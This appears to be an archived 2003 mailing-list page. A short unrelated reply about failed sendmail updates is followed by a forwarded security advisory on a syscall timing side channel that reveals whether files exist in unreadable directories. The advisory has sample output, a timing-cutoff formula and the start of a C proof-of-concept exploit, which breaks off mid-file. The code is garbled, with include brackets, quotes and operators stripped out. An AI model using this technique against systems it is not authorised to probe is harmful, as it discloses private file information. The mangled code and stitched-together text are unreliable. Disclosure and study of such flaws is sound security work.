17:36:56 +0200 (CEST)(envelope-from [EMAIL PROTECTED]) Received: (from [EMAIL PROTECTED])by yori.schoko.org (8.12.9/8.12.9/Submit) id h34FauX4012524;Fri, 4 Apr 2003 17:36:56 +0200 (CEST) X-Message-Info: JGTYoYF78jEHjJx36Oi8+Q1OJDRSDidP Old-Return-Path: [EMAIL PROTECTED] Message-ID: [EMAIL PROTECTED] References: [EMAIL PROTECTED] In-Reply-To: [EMAIL PROTECTED] User-Agent: Mutt/1.5.4i X-Spam-Status: No, hits=-3.0 required=4.0tests=IN_REP_TO,QUOTED_EMAIL_TEXT,REFERENCES,SPAM_PHRASE_00_01, USER_AGENT,USER_AGENT_MUTTversion=2.43 X-Spam-Level: Resent-Message-ID: [EMAIL PROTECTED] Resent-From: debian-security@lists.debian.org X-Mailing-List: debian-security@lists.debian.org archive/latest/11468 X-Loop: debian-security@lists.debian.org List-Post: mailto:debian-security@lists.debian.org List-Help: mailto:[EMAIL PROTECTED] List-Subscribe: mailto:[EMAIL PROTECTED] List-Unsubscribe: mailto:[EMAIL PROTECTED] Precedence: list Resent-Sender: [EMAIL PROTECTED] Resent-Date: Fri, 4 Apr 2003 09:55:54 -0600 (CST) Return-Path: [EMAIL PROTECTED] X-OriginalArrivalTime: 04 Apr 2003 16:42:57.0279 (UTC) FILETIME=[3F0A10F0:01C2FAC9] On Fri, Apr 04, 2003 at 05:01:07PM +0200, Miek Gieben wrote: I'm trying to install the updated sendmail packages that fix the latest security hole. But after the installation I get this: see below. 8.12.3-6.2. didn't work Same here, with the same error-messages. Markus -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED] _ MSN 8 with e-mail virus protection service: 2 months FREE* http://join.msn.com/?page=features/virus
Fwd: Syscall implementation could lead to whether or not a file exists
Not that it is a huge vulnerability I am going to loose sleep over.
Just thought I'd throw it out here for discussion.
- Forwarded message from Andrew Griffiths [EMAIL PROTECTED] -
From: Andrew Griffiths [EMAIL PROTECTED]
Subject: Syscall implementation could lead to whether or not a file exists
To: full-disclosure@lists.netsys.com, bugtraq@securityfocus.com
Date: Thu, 03 Apr 2003 05:19:47 +1000
X-Spam-Status: No, bogofilter
Delivery-date: Fri, 04 Apr 2003 11:52:07 -0500
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.3) Gecko/20030312
X-Razor-Warning: NONE.
Product: Linux and various other kernels
Tested:
- RedHat kernel 2.4.18-26.7.x (second latest ;))
- RedHat kernel 2.4.18-27.7.x
- Debian 3.0 box
- FreeBSD 4.4
Description:
Due to the implementation of various system calls, it becomes
possible to test whether or not a file exists in a directory
that is unreadable.
Synopsis:
Filenames can be disclosed, which may be useful for other
attacks.
Problem:
By timing how long it takes for the system call to return, you
can pretty tell whether or not the file exists, because the
failure time is in my testing, three times shorter than if the
file exists.
To illistrate, here is an example of the attached program
running with the open() call. I would think other syscalls such
as stat(), mkdir(), chdir(), etc would disclose whether or not a
file exists.
[+] creating unreachable
[+] creating unreachable/iexist
[+] chmod 0'ing unreachable
[+] d-2 andrewg andrewg 4096 Mar 20 20:37 unreachable/
[+] Timing open() on unreachable/iexist
[+] Successful: 12 usecs, got Permission denied
[+] Timing open() on unreachable/non-existant
[+] Failure: 3 usecs, got Permission denied
[+] Using 3 as our cutoff.
[+] testing /root/.bashrc and /root/non-existant
[+] /root/.bashrc exists (4 usecs), got Permission denied
[+] /root/non-existant doesn't exist (2 usecs), got Permission denied
After a while of experimentation, I found that the following
formuala seems to be relatively decent at avoiding false
positivites, on my RH box.
cutoff = ((success_time + failure_time) / 3) - 2
This is somewhat dependant on the load on the box, and where the
file is located, though it appears.
On some OS's (notably freebsd in my testing) it will store the
results of into its cache (different to linux, in the sense that it
throws
off the algo above.). Thus, if you just create a file and time
open()ing that, then compare it with a file that has
been recently opened, you don't get a fair comparsision.
Fix:
No known fix exists. Not exactly sure whether a fix is
appropiate, as the kernel is meant to be as fast as possible.
Exploit:
is attached.
Information is this email may be redistributed as long as the below
signature stays attached.
Thanks,
Andrew Griffiths
--
Attention: Public floggings will continue until morale improves.
MidWay_/#melb-wireless licks txrxafk while his defenses are down.
MidWay_ Oh boy. That could have been taken out of context.
#include stdlib.h
#include unistd.h
#include stdio.h
#include sys/types.h
#include fcntl.h
#ifndef O_NOFOLLOW
#define O_NOFOLLOW 040 /* don't follow links */
#endif
#ifndef O_LARGEFILE
#define O_LARGEFILE 010
#endif
int flags = O_RDONLY|O_EXCL|O_SYNC|O_NOCTTY|O_NOFOLLOW;
/* taken from scuts format string example/brute_blind example */
unsigned long int
tv_diff (struct timeval *tv_a, struct timeval *tv_b)
{
unsigned long int diff;
if (tv_a-tv_sec tv_b-tv_sec ||
(tv_a-tv_sec == tv_b-tv_sec tv_a-tv_sec
tv_b-tv_sec))
{
struct timeval *tvtmp;
tvtmp = tv_b;
tv_b = tv_a;
tv_a = tvtmp;
}
diff = (tv_a-tv_sec - tv_b-tv_sec) * 100;
if (tv_a-tv_sec == tv_b-tv_sec) {
diff += tv_a-tv_usec - tv_b-tv_usec;
} else {
if (tv_a-tv_usec = tv_b-tv_usec)
diff += tv_a-tv_usec - tv_b-tv_usec;
else
diff -= tv_b-tv_usec - tv_a-tv_usec;
}
return (diff);
}
void cleanup()
{
printf([+] cleaning up\n);
if(chmod(unreachable, 0700)==-1) {
printf(\t[-] Unable to revert unreachable back to being
reachable\n);
exit(EXIT_FAILURE);
}
if(unlink(unreachable/iexist)==-1) {
printf(\t[-] Unable to remove unreachable/iexist\n);
exit(EXIT_FAILURE);
}
if(rmdir(unreachable)==-1) {
printf(\t[-] Unable to rmdir unreachable\n);
exit(EXIT_FAILURE);
}
}
int
